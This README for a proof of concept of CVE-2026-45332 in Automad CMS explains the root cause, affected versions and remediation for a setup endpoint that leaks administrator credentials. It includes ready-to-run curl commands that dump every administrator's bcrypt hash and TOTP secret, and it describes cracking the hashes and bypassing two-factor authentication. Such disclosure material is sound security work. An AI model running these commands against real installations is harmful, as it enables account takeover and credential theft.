# CVE-2026-45332: Broken Access Control in Automad CMS

Proof of concept for **CVE-2026-45332**, a Broken Access Control vulnerability in [Automad CMS](https://github.com/marcantondahmen/automad) that allows any unauthenticated attacker to dump the bcrypt password hash and TOTP secret of every administrator account through the setup endpoint, which is never disabled after initial configuration.

| Field | Value |
|---|---|
| **CVE** | [CVE-2026-45332](https://www.cve.org/CVERecord?id=CVE-2026-45332) |
| **GHSA** | [GHSA-xm76-r88j-vm3g](https://github.com/advisories/GHSA-xm76-r88j-vm3g) |
| **Product** | Automad CMS (composer `automad/automad`) |
| **Affected** | `>= 2.0.0-alpha.1`, `<= 2.0.0-beta.27` |
| **Patched** | `2.0.0-beta.28` |
| **CVSS 3.1** | 7.5 High (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`) |
| **CWE** | CWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function) |
| **Researcher** | Lorenzo Camilli |

## Summary

Automad is a file-based PHP CMS. The setup endpoint responsible for creating the first administrator account, `/_api/user-collection/create-first-user`, is registered as a permanently public API route. There is no guard that closes it once initial configuration is complete.

On a live, fully configured instance, an unauthenticated `POST` to this endpoint loads the entire user database from disk and returns it, serialized, in the JSON response body, including:

- **bcrypt password hashes** for every administrator account
- **TOTP secrets** (present in `2.0.0-beta.27`)
- the **absolute filesystem path** to the configuration directory

No prior account, credentials, or special network position are required.

## Root cause

The route is placed inside the `$publicAPIRoutes` array in `automad/src/server/Routes.php` and registered under the condition `AM_PAGE_DASHBOARD`, a constant that evaluates to the string `'/dashboard'` and is therefore always truthy. The route stays registered on every installation, including after setup is complete.

```php
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}
```

`User::__serialize()` includes the private `passwordHash` and `totpSecret` fields, so they end up embedded in the serialized output that is returned to the caller.

Full technical write-up: **[PoC.md](./PoC.md)**.

## Proof of concept

The endpoint requires a valid CSRF token and an Automad session cookie, both freely obtainable from the public login page. Reproduction:

```bash
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode 'email=dummy@example.com' | jq .
```

The response contains the bcrypt hash and TOTP secret of every registered administrator plus the absolute config path:

```json
{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}
```

The bcrypt hashes can then be cracked offline (Hashcat / John). On `2.0.0-beta.27` the leaked TOTP secret bypasses two-factor authentication outright.

## Impact

An unauthenticated remote attacker can:

1. Retrieve the bcrypt hash of every administrator and crack it offline.
2. Retrieve TOTP secrets and bypass 2FA (`2.0.0-beta.27`).
3. Learn the absolute server filesystem path, aiding further attacks.

## Remediation

Update to **Automad 2.0.0-beta.28** or later, which restricts the endpoint once initial setup is complete. As a temporary mitigation, block requests to `/_api/user-collection/create-first-user` at the web server or WAF.

## References

- [CVE.org: CVE-2026-45332](https://www.cve.org/CVERecord?id=CVE-2026-45332)
- [GitHub Advisory: GHSA-xm76-r88j-vm3g](https://github.com/advisories/GHSA-xm76-r88j-vm3g)
- [Automad CMS](https://github.com/marcantondahmen/automad)
- [Broken Access Control (OWASP)](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
